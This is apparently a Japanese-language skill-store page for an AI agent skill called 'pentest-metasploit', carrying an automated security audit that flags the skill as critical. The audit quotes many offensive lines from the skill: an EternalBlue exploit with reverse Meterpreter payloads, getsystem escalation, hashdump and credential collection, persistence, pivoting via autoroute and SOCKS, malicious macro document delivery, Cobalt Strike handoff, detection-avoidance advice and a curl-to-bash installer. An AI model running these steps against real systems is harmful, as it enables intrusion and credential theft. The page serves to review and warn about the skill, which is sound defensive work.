📦
pytm
81pytm Threat Models as Code を構築する
脅威モデリングは、アーキテクチャ変更から切り離され、古くなりがちです。このスキルは、セキュリティレビューと CI のために、pytm モデル、STRIDE 分析、図表ワークフローの作成を支援します。
セキュリティ＆コンプライアンス 表示
スキル pentest-metasploit
📦
pentest-metasploit
v0.1.0 コンテンツリビジョン r1 重大 ⚙️ 外部コマンド🌐 ネットワークアクセス📁 ファイルシステムへのアクセス🔑 環境変数⚡ スクリプトを含む
Metasploit ワークフローを安全に監査
セキュリティチームには、承認済みのエクスプロイト検証を体系的にレビューする必要がありますが、これらのワークフローには高い悪用リスクが伴います。このスキルは、スコープ確認、ログ記録、クリーンアップのガイダンスを含む Metasploit 評価手順を文書化します。
対応: Claude Codex Code(CC)
この Skill を自動インストールしないでください。
基準ポリシーにより、インストール操作の前にオペレーターのレビューが必要です。
自分のエージェントでインストール
このリクエストをエージェントにコピーしてください。正規の Skill ページとマニフェストが含まれています。
エージェントリクエスト
Review the Skillstore skill "pentest-metasploit" from https://skillstore.io/skills/agentsecops-pentest-metasploit.md and its manifest at https://skillstore.io/api/skills/agentsecops-pentest-metasploit/manifest. Verify the artifact. Do not auto-install. Inspect the skill and report your findings, then wait for an operator or manual installation decision.エージェントは引き続き計画を提示し、セキュリティポリシーで必要な確認を求める必要があります。
エージェントが読めるリソース
AI エージェント、クローラー、スクリプトがページ全体ではなく整理されたコンテキストを必要とする場合は、これらのリンクを使ってください。
テストする
「pentest-metasploit」を使用しています。 承認済み SMB 所見の検証を計画してください。
期待される結果:
承認、テスト期間、対象リスト、安全確認、期待される証拠、クリーンアップ、エスカレーション連絡先を網羅するスコープ設定済みチェックリスト。
「pentest-metasploit」を使用しています。 レポート用にポストエクスプロイトの証拠を要約してください。
期待される結果:
- 承認済みテスト目的に紐づいた簡潔な影響説明。
- 観察されたアクセスと操作のタイムライン。
- アセット所有者向けのクリーンアップおよび修復メモ。
「pentest-metasploit」を使用しています。 ペイロードシナリオから防御的な検知計画を作成してください。
期待される結果:
期待されるログ、ネットワークシグナル、エンドポイントアラート、検証手順、アナリスト対応ガイダンスを含む検知計画。
セキュリティ監査
重大v10 • 2026/7/9 バージョン別レポートを開く
The skill is not a passive reference; SKILL.md provides operational Metasploit workflows for exploit execution, Meterpreter sessions, credential collection, persistence, lateral movement, phishing payload delivery, evasion, and privilege escalation. Most rule-template and reference-example detections are documentation false positives, but the core skill content and CI pipe-to-shell template are confirmed high-risk or critical. No prompt-injection attempt was found in the reviewed files.
6
スキャンされたファイル
1,985
解析済み行数
50
レビュー項目
0
誤検知を無視
確認済みのセキュリティ上の懸念 (63)
重大
Pipe to shell pattern
curl -s https://raw.githubusercontent.com/aquasecurity/tfsec/master/scripts/install_linux.sh | bash
The CI template downloads an install script from GitHub and pipes it directly to bash. This is a supply-chain execution path in CI.
重大
Metasploit framework
name: pentest-metasploit
The skill explicitly teaches Metasploit Framework exploitation and Meterpreter workflows. This is dual-use offensive tooling with direct misuse potential.
重大
Metasploit framework
security assessments using Metasploit Framework. Use when: (1) Validating vulnerabilities in
The skill explicitly teaches Metasploit Framework exploitation and Meterpreter workflows. This is dual-use offensive tooling with direct misuse potential.
重大
Metasploit framework
tags: [pentest, metasploit, exploitation, post-exploitation, vulnerability-validation, red-team]
The skill explicitly teaches Metasploit Framework exploitation and Meterpreter workflows. This is dual-use offensive tooling with direct misuse potential.
重大
Metasploit framework
packages: [metasploit-framework]
The skill explicitly teaches Metasploit Framework exploitation and Meterpreter workflows. This is dual-use offensive tooling with direct misuse potential.
重大
Metasploit framework
- https://docs.metasploit.com/
The line is a Metasploit reference link, but it is part of a skill centered on Metasploit Framework workflows. The same file contains exploit and payload execution steps.
重大
Metasploit framework
- https://www.offsec.com/metasploit-unleashed/
The line is a Metasploit reference link, but it is part of a skill centered on Metasploit Framework workflows. The same file contains exploit and payload execution steps.
重大
Metasploit framework
# Metasploit Framework Penetration Testing
The skill explicitly teaches Metasploit Framework exploitation and Meterpreter workflows. This is dual-use offensive tooling with direct misuse potential.
確認済みの63件をすべて表示
重大
Metasploit framework
Metasploit Framework is the industry-standard platform for penetration testing, vulnerability valida
The skill explicitly teaches Metasploit Framework exploitation and Meterpreter workflows. This is dual-use offensive tooling with direct misuse potential.
重大
Metasploit framework
Initialize Metasploit console and verify database connectivity:
The skill explicitly teaches Metasploit Framework exploitation and Meterpreter workflows. This is dual-use offensive tooling with direct misuse potential.
重大
Metasploit framework
# Initialize Metasploit database
The skill explicitly teaches Metasploit Framework exploitation and Meterpreter workflows. This is dual-use offensive tooling with direct misuse potential.
重大
Metasploit framework
# Launch Metasploit console
The skill explicitly teaches Metasploit Framework exploitation and Meterpreter workflows. This is dual-use offensive tooling with direct misuse potential.
重大
Metasploit framework
msf6 exploit(windows/smb/ms17_010_eternalblue) > set PAYLOAD windows/x64/meterpreter/reverse_https
The skill explicitly teaches Metasploit Framework exploitation and Meterpreter workflows. This is dual-use offensive tooling with direct misuse potential.
重大
Metasploit framework
meterpreter > sysinfo
The skill explicitly teaches Metasploit Framework exploitation and Meterpreter workflows. This is dual-use offensive tooling with direct misuse potential.
重大
Metasploit framework
meterpreter > getuid
The skill explicitly teaches Metasploit Framework exploitation and Meterpreter workflows. This is dual-use offensive tooling with direct misuse potential.
重大
Metasploit framework
meterpreter > getprivs
The skill explicitly teaches Metasploit Framework exploitation and Meterpreter workflows. This is dual-use offensive tooling with direct misuse potential.
重大
Metasploit framework
meterpreter > ipconfig
The skill explicitly teaches Metasploit Framework exploitation and Meterpreter workflows. This is dual-use offensive tooling with direct misuse potential.
重大
Metasploit framework
meterpreter > route
The skill explicitly teaches Metasploit Framework exploitation and Meterpreter workflows. This is dual-use offensive tooling with direct misuse potential.
重大
Metasploit framework
meterpreter > ps
The skill explicitly teaches Metasploit Framework exploitation and Meterpreter workflows. This is dual-use offensive tooling with direct misuse potential.
重大
Metasploit framework
meterpreter > run post/windows/gather/enum_av_excluded
The skill explicitly teaches Metasploit Framework exploitation and Meterpreter workflows. This is dual-use offensive tooling with direct misuse potential.
重大
Metasploit framework
meterpreter > run post/windows/gather/enum_logged_on_users
The skill explicitly teaches Metasploit Framework exploitation and Meterpreter workflows. This is dual-use offensive tooling with direct misuse potential.
重大
Metasploit framework
meterpreter > run post/multi/recon/local_exploit_suggester
The skill explicitly teaches Metasploit Framework exploitation and Meterpreter workflows. This is dual-use offensive tooling with direct misuse potential.
重大
Metasploit framework
meterpreter > ps
The skill explicitly teaches Metasploit Framework exploitation and Meterpreter workflows. This is dual-use offensive tooling with direct misuse potential.
重大
Metasploit framework
meterpreter > migrate <stable-process-pid>
The skill explicitly teaches Metasploit Framework exploitation and Meterpreter workflows. This is dual-use offensive tooling with direct misuse potential.
重大
Metasploit framework
meterpreter > getsystem
The skill explicitly teaches Metasploit Framework exploitation and Meterpreter workflows. This is dual-use offensive tooling with direct misuse potential.
重大
Metasploit framework
meterpreter > getuid
The skill explicitly teaches Metasploit Framework exploitation and Meterpreter workflows. This is dual-use offensive tooling with direct misuse potential.
重大
Metasploit framework
meterpreter > run post/windows/gather/arp_scanner RHOSTS=<internal-subnet>
The skill explicitly teaches Metasploit Framework exploitation and Meterpreter workflows. This is dual-use offensive tooling with direct misuse potential.
重大
Metasploit framework
meterpreter > run auxiliary/scanner/smb/smb_version
The skill explicitly teaches Metasploit Framework exploitation and Meterpreter workflows. This is dual-use offensive tooling with direct misuse potential.
重大
Metasploit framework
meterpreter > run autoroute -s <internal-subnet>/24
The skill explicitly teaches Metasploit Framework exploitation and Meterpreter workflows. This is dual-use offensive tooling with direct misuse potential.
重大
Metasploit framework
msf6 exploit(...) > set PAYLOAD linux/x64/meterpreter/reverse_tcp
The skill explicitly teaches Metasploit Framework exploitation and Meterpreter workflows. This is dual-use offensive tooling with direct misuse potential.
重大
Metasploit framework
msf6 exploit(office_word_macro) > set PAYLOAD windows/meterpreter/reverse_https
The skill explicitly teaches Metasploit Framework exploitation and Meterpreter workflows. This is dual-use offensive tooling with direct misuse potential.
重大
Metasploit framework
msf6 exploit(multi/handler) > set PAYLOAD windows/meterpreter/reverse_https
The skill explicitly teaches Metasploit Framework exploitation and Meterpreter workflows. This is dual-use offensive tooling with direct misuse potential.
重大
Metasploit framework
# Headless Metasploit resource script
The skill explicitly teaches Metasploit Framework exploitation and Meterpreter workflows. This is dual-use offensive tooling with direct misuse potential.
重大
Metasploit framework
set PAYLOAD windows/x64/meterpreter/reverse_tcp
The skill explicitly teaches Metasploit Framework exploitation and Meterpreter workflows. This is dual-use offensive tooling with direct misuse potential.
重大
Metasploit framework
Map Metasploit activities to ATT&CK framework:
The skill explicitly teaches Metasploit Framework exploitation and Meterpreter workflows. This is dual-use offensive tooling with direct misuse potential.
重大
Metasploit framework
msf6 evasion(...) > set PAYLOAD windows/meterpreter/reverse_https
The skill explicitly teaches Metasploit Framework exploitation and Meterpreter workflows. This is dual-use offensive tooling with direct misuse potential.
重大
Metasploit framework
set PAYLOAD windows/meterpreter/reverse_https # staged
The skill explicitly teaches Metasploit Framework exploitation and Meterpreter workflows. This is dual-use offensive tooling with direct misuse potential.
重大
Metasploit framework
set PAYLOAD windows/meterpreter_reverse_https # stageless
The skill explicitly teaches Metasploit Framework exploitation and Meterpreter workflows. This is dual-use offensive tooling with direct misuse potential.
重大
Metasploit framework
meterpreter > run post/windows/manage/migrate
The skill explicitly teaches Metasploit Framework exploitation and Meterpreter workflows. This is dual-use offensive tooling with direct misuse potential.
重大
Metasploit framework
meterpreter > run post/multi/recon/local_exploit_suggester
The skill explicitly teaches Metasploit Framework exploitation and Meterpreter workflows. This is dual-use offensive tooling with direct misuse potential.
重大
Metasploit framework
meterpreter > getsystem -t 1 # Named Pipe Impersonation
The skill explicitly teaches Metasploit Framework exploitation and Meterpreter workflows. This is dual-use offensive tooling with direct misuse potential.
重大
Metasploit framework
meterpreter > getsystem -t 2 # Named Pipe Impersonation (Admin Drop)
The skill explicitly teaches Metasploit Framework exploitation and Meterpreter workflows. This is dual-use offensive tooling with direct misuse potential.
重大
Metasploit framework
meterpreter > getsystem -t 3 # Token Duplication
The skill explicitly teaches Metasploit Framework exploitation and Meterpreter workflows. This is dual-use offensive tooling with direct misuse potential.
重大
Metasploit framework
meterpreter > background
The skill explicitly teaches Metasploit Framework exploitation and Meterpreter workflows. This is dual-use offensive tooling with direct misuse potential.
重大
Metasploit framework
Organizations can detect Metasploit activity by:
The skill explicitly teaches Metasploit Framework exploitation and Meterpreter workflows. This is dual-use offensive tooling with direct misuse potential.
重大
Metasploit framework
- **Network IDS**: Signature-based detection of default Metasploit payloads
The skill explicitly teaches Metasploit Framework exploitation and Meterpreter workflows. This is dual-use offensive tooling with direct misuse potential.
重大
Metasploit framework
- **Endpoint Detection**: Behavioral analysis of meterpreter process injection
The skill explicitly teaches Metasploit Framework exploitation and Meterpreter workflows. This is dual-use offensive tooling with direct misuse potential.
重大
Metasploit framework
- [Metasploit Documentation](https://docs.metasploit.com/)
The line is a Metasploit reference link, but it is part of a skill centered on Metasploit Framework workflows. The same file contains exploit and payload execution steps.
重大
Metasploit framework
- [Metasploit Unleashed](https://www.offsec.com/metasploit-unleashed/)
The line is a Metasploit reference link, but it is part of a skill centered on Metasploit Framework workflows. The same file contains exploit and payload execution steps.
重大
Cobalt Strike keywords
- **Cobalt Strike**: Export sessions to Cobalt Strike beacons
The line describes exporting sessions to Cobalt Strike beacons. That is C2 and post-exploitation tradecraft integration guidance.
重大
[HEURISTIC] DANGEROUS COMBINATION: Code execution + Network + Credential access
This combination is common in credential stealers and RATs
The heuristic combination is present in the core skill: command execution, network pivoting, payload handling, and credential access are all documented. It is not a classic stealer, but the dangerous combination is real.
重大
Operational Exploitation and Post-Exploitation Workflow
SKILL.md guides exploit configuration, reverse Meterpreter payload use, exploit execution, session interaction, credential collection, persistence, and privilege escalation. This goes beyond defensive explanation and can directly enable unauthorized compromise if misused.
The cited sections include concrete exploit, payload, Meterpreter, credential, persistence, and privilege escalation workflow text. The surrounding skill description confirms these are intended assessment procedures, not incidental references.
重大
Phishing Payload Delivery Workflow
SKILL.md includes a pattern for generating a malicious Office macro document and setting up a handler for a reverse Meterpreter payload. This is social engineering payload delivery guidance, which static pattern matching only partially captured.
The section title and steps explicitly describe malicious document generation and listener setup. There is little ambiguity about the offensive delivery intent.
重大
Evasion, C2 Handoff, and Covert Operations Guidance
SKILL.md discusses attribution prevention, encrypted callbacks, Cobalt Strike and PowerShell Empire handoff, evasion payload generation, and UAC bypass troubleshooting. These instructions can help avoid detection and extend compromise.
The cited text combines operational security, C2 framework integration, evasion, and privilege escalation instructions. These are high-confidence offensive tradecraft indicators in context.
高
C2 keywords
- **Exfiltration**: T1041 (Exfiltration Over C2 Channel)
The C2 exfiltration mapping appears in a section that maps Metasploit activities to ATT&CK techniques. In context it supports offensive post-exploitation understanding.
高
System reconnaissance
meterpreter > getuid
The Meterpreter getuid command gathers identity context from a compromised host. This is operational post-exploitation reconnaissance.
高
System reconnaissance
meterpreter > getuid
The Meterpreter getuid command gathers identity context from a compromised host. This is operational post-exploitation reconnaissance.
高
System reconnaissance
- **Attribution Prevention**: Avoid personal infrastructure or identifiable indicators
The line gives operational security guidance about attribution or detection avoidance in an offensive workflow. The exact pattern is broad, but the context is risky.
高
System reconnaissance
- **Session Management**: Close sessions cleanly to avoid detection alerts
The line gives operational security guidance about attribution or detection avoidance in an offensive workflow. The exact pattern is broad, but the context is risky.
高
Network scanning tools
tools: [postgresql, nmap]
The skill depends on or invokes Nmap-style scanning as part of Metasploit target reconnaissance and pivoting. This is operational network scanning guidance.
高
Network scanning tools
msf6 > db_import /path/to/nmap-scan.xml
The skill depends on or invokes Nmap-style scanning as part of Metasploit target reconnaissance and pivoting. This is operational network scanning guidance.
高
Network scanning tools
proxychains nmap -sT -Pn <internal-target>
The skill depends on or invokes Nmap-style scanning as part of Metasploit target reconnaissance and pivoting. This is operational network scanning guidance.
高
Network scanning tools
- **Nmap Integration**: Import reconnaissance data with `db_import`
The skill depends on or invokes Nmap-style scanning as part of Metasploit target reconnaissance and pivoting. This is operational network scanning guidance.
機能レビュー項目 (50)
これらは、このスキルに期待される可能性のある実際のローカル機能であるため、レビューが必要ですが、確認済みの悪意ある動作としてはカウントされません。
重大
Ruby/shell backtick execution
```bash
The surrounding block configures an EternalBlue module, reverse Meterpreter payload, listener values, and exploit execution. These commands can directly enable target compromise.
重大
Ruby/shell backtick execution
```
The surrounding block configures an EternalBlue module, reverse Meterpreter payload, listener values, and exploit execution. These commands can directly enable target compromise.
重大
Ruby/shell backtick execution
```bash
The surrounding block configures an EternalBlue module, reverse Meterpreter payload, listener values, and exploit execution. These commands can directly enable target compromise.
重大
Ruby/shell backtick execution
```
The surrounding block configures an EternalBlue module, reverse Meterpreter payload, listener values, and exploit execution. These commands can directly enable target compromise.
重大
Ruby/shell backtick execution
```bash
The surrounding post-exploitation section covers Meterpreter sessions, host enumeration, credential collection, and persistence modules. This is operational post-compromise guidance.
重大
Ruby/shell backtick execution
```
The surrounding post-exploitation section covers Meterpreter sessions, host enumeration, credential collection, and persistence modules. This is operational post-compromise guidance.
重大
Ruby/shell backtick execution
- `post/windows/gather/hashdump` - Extract password hashes (requires SYSTEM privileges)
The surrounding post-exploitation section covers Meterpreter sessions, host enumeration, credential collection, and persistence modules. This is operational post-compromise guidance.
重大
Ruby/shell backtick execution
- `post/multi/recon/local_exploit_suggester` - Identify privilege escalation opportunities
The surrounding post-exploitation section covers Meterpreter sessions, host enumeration, credential collection, and persistence modules. This is operational post-compromise guidance.
重大
Ruby/shell backtick execution
- `post/windows/gather/credentials/credential_collector` - Gather stored credentials
The surrounding post-exploitation section covers Meterpreter sessions, host enumeration, credential collection, and persistence modules. This is operational post-compromise guidance.
重大
Ruby/shell backtick execution
- `post/windows/manage/persistence_exe` - Establish persistence (if explicitly authorized)
The surrounding post-exploitation section covers Meterpreter sessions, host enumeration, credential collection, and persistence modules. This is operational post-compromise guidance.
重大
Ruby/shell backtick execution
```bash
The surrounding section gives privilege escalation workflow commands including getsystem and local exploit module setup. This is post-compromise escalation guidance.
重大
Ruby/shell backtick execution
```
The surrounding section gives privilege escalation workflow commands including getsystem and local exploit module setup. This is post-compromise escalation guidance.
重大
Ruby/shell backtick execution
1. Background current session: `background`
The surrounding section gives privilege escalation workflow commands including getsystem and local exploit module setup. This is post-compromise escalation guidance.
重大
Ruby/shell backtick execution
2. Select escalation module: `use exploit/windows/local/<escalation-module>`
The surrounding section gives privilege escalation workflow commands including getsystem and local exploit module setup. This is post-compromise escalation guidance.
重大
Ruby/shell backtick execution
3. Set session: `set SESSION <session-id>`
The surrounding section gives privilege escalation workflow commands including getsystem and local exploit module setup. This is post-compromise escalation guidance.
重大
Ruby/shell backtick execution
4. Run exploit: `exploit`
The surrounding section gives privilege escalation workflow commands including getsystem and local exploit module setup. This is post-compromise escalation guidance.
重大
Ruby/shell backtick execution
```bash
The surrounding section covers internal network enumeration, autoroute pivoting, SOCKS proxy setup, and scanning through a compromised host. This supports lateral movement.
重大
Ruby/shell backtick execution
```
The surrounding section covers internal network enumeration, autoroute pivoting, SOCKS proxy setup, and scanning through a compromised host. This supports lateral movement.
重大
Ruby/shell backtick execution
```bash
The surrounding section covers internal network enumeration, autoroute pivoting, SOCKS proxy setup, and scanning through a compromised host. This supports lateral movement.
重大
Ruby/shell backtick execution
```
The surrounding section covers internal network enumeration, autoroute pivoting, SOCKS proxy setup, and scanning through a compromised host. This supports lateral movement.
重大
Ruby/shell backtick execution
```bash
The surrounding examples execute web and database server exploit modules with Meterpreter payloads. These are concrete exploitation workflows.
重大
Ruby/shell backtick execution
```
The surrounding examples execute web and database server exploit modules with Meterpreter payloads. These are concrete exploitation workflows.
重大
Ruby/shell backtick execution
```bash
The surrounding examples execute web and database server exploit modules with Meterpreter payloads. These are concrete exploitation workflows.
重大
Ruby/shell backtick execution
```
The surrounding examples execute web and database server exploit modules with Meterpreter payloads. These are concrete exploitation workflows.
重大
Ruby/shell backtick execution
```bash
The surrounding examples include malicious document payload delivery, handler setup, and credential spraying. These are high-risk offensive workflows.
重大
Ruby/shell backtick execution
```
The surrounding examples include malicious document payload delivery, handler setup, and credential spraying. These are high-risk offensive workflows.
重大
Ruby/shell backtick execution
```bash
The surrounding examples include malicious document payload delivery, handler setup, and credential spraying. These are high-risk offensive workflows.
重大
Ruby/shell backtick execution
```
The surrounding examples include malicious document payload delivery, handler setup, and credential spraying. These are high-risk offensive workflows.
重大
Ruby/shell backtick execution
```bash
The surrounding CI example creates a Metasploit resource script and runs headless exploit validation. It enables automated exploitation from a pipeline.
重大
Ruby/shell backtick execution
```
The surrounding CI example creates a Metasploit resource script and runs headless exploit validation. It enables automated exploitation from a pipeline.
重大
Ruby/shell backtick execution
```bash
The surrounding troubleshooting guidance recommends evasion payload generation and session migration. This can help bypass defenses after exploitation.
重大
Ruby/shell backtick execution
```
The surrounding troubleshooting guidance recommends evasion payload generation and session migration. This can help bypass defenses after exploitation.
重大
Ruby/shell backtick execution
```bash
The surrounding section provides privilege escalation and UAC bypass workflow steps. This is high-risk post-compromise guidance.
高
Git platform tokens
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
The CI template passes GITHUB_TOKEN to a third-party action. If the action or tag is compromised, the workflow token could be abused.
高
Ruby/shell backtick execution
```bash
The surrounding block provides Metasploit workspace, Nmap import, and module search commands against targets. This is operational reconnaissance and exploit-selection guidance.
高
Ruby/shell backtick execution
```
The surrounding block provides Metasploit workspace, Nmap import, and module search commands against targets. This is operational reconnaissance and exploit-selection guidance.
高
Ruby/shell backtick execution
```bash
The surrounding block provides Metasploit workspace, Nmap import, and module search commands against targets. This is operational reconnaissance and exploit-selection guidance.
高
Ruby/shell backtick execution
```
The surrounding block provides Metasploit workspace, Nmap import, and module search commands against targets. This is operational reconnaissance and exploit-selection guidance.
高
Ruby/shell backtick execution
```bash
The surrounding block provides Metasploit workspace, Nmap import, and module search commands against targets. This is operational reconnaissance and exploit-selection guidance.
高
Ruby/shell backtick execution
```
The surrounding block provides Metasploit workspace, Nmap import, and module search commands against targets. This is operational reconnaissance and exploit-selection guidance.
高
Ruby/shell backtick execution
- **Nmap Integration**: Import reconnaissance data with `db_import`
The line advertises Nmap integration with Metasploit data import. In context it supports target reconnaissance for exploitation.
高
Ruby/shell backtick execution
```bash
The surrounding troubleshooting guidance changes targets and payloads after failed exploitation. This is operational exploit iteration guidance.
高
Ruby/shell backtick execution
```
The surrounding troubleshooting guidance changes targets and payloads after failed exploitation. This is operational exploit iteration guidance.
高
PowerShell invocation
- **Empire**: Handoff sessions to PowerShell Empire framework
The line recommends handoff to PowerShell Empire, a post-exploitation framework. That is operational offensive integration guidance.
高
sudo privilege escalation
sudo systemctl start postgresql
The skill instructs using sudo to start PostgreSQL as part of Metasploit setup. It is local privileged command execution, even if operationally plausible.
高
SOCKS proxy
socks4 127.0.0.1 1080
The SOCKS proxy configuration is part of a pivoting workflow through a compromised host. It enables lateral movement and proxying tools into internal networks.
中
Ruby/shell backtick execution
```bash
Although the detector matched Markdown backticks, the fenced block contains shell commands for service startup, database initialization, and launching Metasploit. This is external command guidance in the skill.
中
Ruby/shell backtick execution
```
Although the detector matched Markdown backticks, the fenced block contains shell commands for service startup, database initialization, and launching Metasploit. This is external command guidance in the skill.
中
Hardcoded IP address
socks4 127.0.0.1 1080
The hardcoded localhost address configures a SOCKS proxy for pivoting through a compromised host. In this context it supports lateral movement workflow.
低
Hardcoded URL
curl -s https://raw.githubusercontent.com/aquasecurity/tfsec/master/scripts/install_linux.sh | bash
The URL is a remote installer used in a CI command that pipes directly to bash. A changed or compromised remote script would execute in CI.
リスク要因
⚙️ 外部コマンド (50)
assets/ci-config-template.yml:298 assets/ci-config-template.yml:301 assets/ci-config-template.yml:304 assets/ci-config-template.yml:307 assets/ci-config-template.yml:310 assets/ci-config-template.yml:134 assets/ci-config-template.yml:250 assets/ci-config-template.yml:291 SKILL.md:36-48 SKILL.md:48-79 SKILL.md:79-83 SKILL.md:83-87 SKILL.md:87-91 SKILL.md:91-97 SKILL.md:97-101 SKILL.md:101-113 SKILL.md:113-127 SKILL.md:127-133 SKILL.md:133-142 SKILL.md:142-154 SKILL.md:154-176 SKILL.md:176-179 SKILL.md:179-180 SKILL.md:180-181 SKILL.md:181-182 SKILL.md:182-188 SKILL.md:188-199 SKILL.md:199-202 SKILL.md:202-203 SKILL.md:203-204 SKILL.md:204-205 SKILL.md:205-211 SKILL.md:211-223 SKILL.md:223-227 SKILL.md:227-233 SKILL.md:233-276 SKILL.md:276-282 SKILL.md:282-286 SKILL.md:286-293 SKILL.md:293-297 SKILL.md:297-311 SKILL.md:311-315 SKILL.md:315-322 SKILL.md:322-330 SKILL.md:330-344 SKILL.md:344-348 SKILL.md:348-377 SKILL.md:377-390 SKILL.md:390-400 SKILL.md:400-411
🌐 ネットワークアクセス (25)
assets/ci-config-template.yml:240 assets/rule-template.yaml:43 assets/rule-template.yaml:44 assets/rule-template.yaml:45 assets/rule-template.yaml:73 assets/rule-template.yaml:118 assets/rule-template.yaml:119 assets/rule-template.yaml:151 assets/rule-template.yaml:191 assets/rule-template.yaml:192 assets/rule-template.yaml:193 assets/rule-template.yaml:217 assets/rule-template.yaml:260 assets/rule-template.yaml:261 assets/rule-template.yaml:288 SKILL.md:19 SKILL.md:20 SKILL.md:21 SKILL.md:451 SKILL.md:452 SKILL.md:453 SKILL.md:454 SKILL.md:455 SKILL.md:229 SKILL.md:229
📁 ファイルシステムへのアクセス (2)
🔑 環境変数 (23)
assets/ci-config-template.yml:164 assets/rule-template.yaml:148 assets/rule-template.yaml:148 assets/rule-template.yaml:147 assets/rule-template.yaml:162 assets/rule-template.yaml:132 assets/rule-template.yaml:147 assets/rule-template.yaml:148 assets/rule-template.yaml:156 assets/rule-template.yaml:157 assets/rule-template.yaml:162 assets/rule-template.yaml:163 assets/rule-template.yaml:164 assets/rule-template.yaml:165 references/EXAMPLE.md:423 references/EXAMPLE.md:423 references/EXAMPLE.md:424 references/EXAMPLE.md:425 references/EXAMPLE.md:427 references/EXAMPLE.md:430 references/EXAMPLE.md:432 references/EXAMPLE.md:437 references/EXAMPLE.md:444
⚡ スクリプトを含む (2)
検出されたパターン
Pipe to shell patternMetasploit framework×48Cobalt Strike keywordsC2 keywordsSystem reconnaissance×4Network scanning tools×4[HEURISTIC] DANGEROUS COMBINATION: Code execution + Network + Credential access
監査者: codex 監査履歴を表示 →
このレポートを共有・引用
バージョン付き評価レポート、中立的なバッジ、埋め込みカード、引用を共有できます。Skillstore は証拠を報告しますが、この Skill が安全かどうかは判断しません。
レポートリンクをコピー
https://skillstore.io/skills/agentsecops-pentest-metasploit/audits/10?utm_source=security_passport&utm_medium=share&utm_campaign=versioned_reportMarkdownバッジ
[](https://skillstore.io/skills/agentsecops-pentest-metasploit?utm_source=security_passport_badge)HTMLバッジ
<a href="https://skillstore.io/skills/agentsecops-pentest-metasploit?utm_source=security_passport_badge"><img src="https://skillstore.io/badges/skills/agentsecops-pentest-metasploit/security.svg" alt="Skillstore security assessment" loading="lazy"></a>埋め込みカード
<iframe src="https://skillstore.io/embed/skills/agentsecops-pentest-metasploit.html" title="Skillstore Security Assessment" sandbox="allow-popups allow-popups-to-escape-sandbox" loading="lazy" referrerpolicy="no-referrer" width="420" height="180"></iframe>学術引用 (APA · BibTeX · CFF)
APA形式の引用
AgentSecOps. (2026). pentest-metasploit security audit report (audit version 10) [Author version 0.1.0]. Skillstore. https://skillstore.io/skills/agentsecops-pentest-metasploit/audits/10BibTeX形式の引用
@techreport{agentsecops-agentsecops-pentest-metasploit-2026,
author = {AgentSecOps},
title = {pentest-metasploit security audit report (audit version 10)},
institution = {Skillstore},
year = {2026},
number = {10},
url = {https://skillstore.io/skills/agentsecops-pentest-metasploit/audits/10},
note = {Author version 0.1.0}
}CITATION.cff
cff-version: 1.2.0
message: "If you use this Skill, cite its author and this versioned security audit report."
title: "pentest-metasploit security audit report (audit version 10)"
version: "0.1.0"
type: report
authors:
- name: "AgentSecOps"
date-released: "2026-07-09"
url: "https://skillstore.io/skills/agentsecops-pentest-metasploit/audits/10"
identifiers:
- type: other
value: "skillstore:agentsecops-pentest-metasploit:audit:10"
description: "Skillstore immutable audit report identifier"
Skillstore スコア
このスコアの理由 証拠の信頼度: 中 55
アーキテクチャ
100
保守性
87
コンテンツ
73
コミュニティ
100
仕様準拠
作成できるもの
承認済み検証を計画
安全確認、証拠目標、クリーンアップタスクを含む、スコープ設定された脆弱性検証計画を準備します。
検知演習を構築
文書化された Metasploit の挙動を、ラボ限定の検知および対応シナリオに変換します。
攻撃的手順をレビュー
提案されたエクスプロイトワークフローが、エンゲージメントルールと内部リスク上限に一致しているかを評価します。
これらのプロンプトを試す
承認を確認
検証作業の前に、このエンゲージメントスコープをレビューし、スコープ内アセット、テスト期間、安全上限、エスカレーション連絡先を特定してください。
安全な検証を計画
この承認済み所見に対する制御された検証計画を作成してください。前提条件、停止条件、期待される証拠、クリーンアップ、報告メモを含めてください。
所見レポートを準備
これらの承認済みテスト観察事項を、ビジネス影響、証拠の要約、影響を受けるアセット、修復策、残存リスクを含む所見説明に変換してください。
防御演習を設計
この Metasploit 形式のワークフローを、テレメトリ目標、コントロールマッピング、対応アクション、成功基準を含むラボ限定の検知演習に変換してください。
ベストプラクティス
- いかなるワークフローを使用する前にも、書面による承認、スコープ、緊急連絡先を確認してください。
- ログ記録とクリーンアップ要件を備えた、隔離されたラボまたはエンゲージメント用ワークスペースを使用してください。
- 各検証手順について、アクション、証拠、停止条件を記録してください。
回避
- 承認済みスコープ外のアセットでエクスプロイト手順を実行すること。
- 実ユーザーを対象に、フィッシングペイロード、永続化、認証情報収集を生成すること。
- 固定とレビューなしに、リモートインストーラスクリプトや広範な CI トークンを使用すること。
よくある質問
これは自動インストールしても安全ですか？
いいえ。このスキルには運用的な攻撃的セキュリティワークフローが含まれており、使用前に人間によるセキュリティレビューが必要です。
このスキルには Metasploit が必要ですか？
はい。文書化されたワークフローは、制御された環境での Metasploit Framework および関連ツールの使用を前提としています。
スキルは承認を検証できますか？
いいえ。ユーザーは、アセット所有者からの書面による承認、スコープ、テスト期間を提供する必要があります。
防御側はこのスキルを使用できますか？
はい、防御側はこれをラボ限定の検知計画、コントロール検証、対応演習に適用できます。
スキルは単独でコマンドを実行しますか？
このスキルはコマンド指向のワークフローを提供します。実行はエージェント、ユーザー承認、環境コントロールに依存します。
公開前に何を削除すべきですか？
ペイロード配信、認証情報収集、永続化、C2 handoff、回避、ライブ環境でのエクスプロイト手順を削除してください。
開発者情報
作成者
AgentSecOpsライセンス
MIT
作者バージョン
v0.1.0
Skillstore リビジョン
r1
参照
3e4b6c31a74a3bd1a291c98cf585d720cb9fbc88
メンテナンスの新しさ
2026/7/23
利用状況
8 ダウンロード · 375 閲覧
ファイル構成
AgentSecOps のその他のスキル
すべて表示📦
container-hadolint
72HadolintでDockerfileを検証する
Dockerfileには、安全でないパッケージ、rootユーザー、脆弱なエントリポイント、シークレット処理のミスが隠れていることがあります。このスキルは、イメージがビルドされる前にHadolintスキャン、CIゲート、修正手順をガイドします。
セキュリティ＆コンプライアンス 表示
📦
dast-nuclei
38Nuclei DAST スキャンを実行
手動の脆弱性チェックでは、Web アプリや API 全体にわたる既知の CVE や設定上の問題を見逃すことがあります。このスキルは、Nuclei スキャンの計画、CI ワークフローの調整、検出結果のレビューを支援します。
セキュリティ＆コンプライアンス 表示
📦
sast-semgrep
38Semgrep SASTでコードをスキャン
開発チームには、ルールをゼロから作成せずに繰り返し実行できる静的セキュリティレビューが必要です。このスキルは、Semgrepスキャン、OWASPとCWEのマッピング、修復計画、CI統合をガイドします。
